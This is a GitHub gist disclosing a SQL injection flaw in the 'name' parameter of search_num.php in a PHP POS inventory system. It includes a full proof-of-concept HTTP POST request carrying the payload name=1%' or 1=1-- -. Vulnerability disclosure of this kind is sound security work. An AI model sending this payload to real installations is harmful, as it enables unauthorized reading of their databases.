Skip to content

Instantly share code, notes, and snippets.

@Masamuneee
Last active January 2, 2025 10:16
Show Gist options
  • Save Masamuneee/f238db57d8b1947d000cadf634a8387e to your computer and use it in GitHub Desktop.
Save Masamuneee/f238db57d8b1947d000cadf634a8387e to your computer and use it in GitHub Desktop.

pos-inventory-system-in-php has sql injection vulnerability in search_num.php via name parameter

supplier

https://code-projects.org/pos-inventory-system-using-php-source-code/

Vulnerability file

search_num.php via name parameter

Description

In /user/search_num.php, there is a SQL injection vulnerability. The parameter that can be controlled is $search. This function executes the search parameter into the SQL statement without any restrictions. A malicious attacker could exploit this vulnerability to obtain sensitive information from the server database.

image

PoC

POST /POS_inventory/user/search_num.php HTTP/1.1
Host: localhost
Content-Length: 12
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=efr9d42glf5s6l2qp92e9rk9g1
Connection: keep-alive

name=1%' or 1=1-- -&num=1

image

Author:

Masamune

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment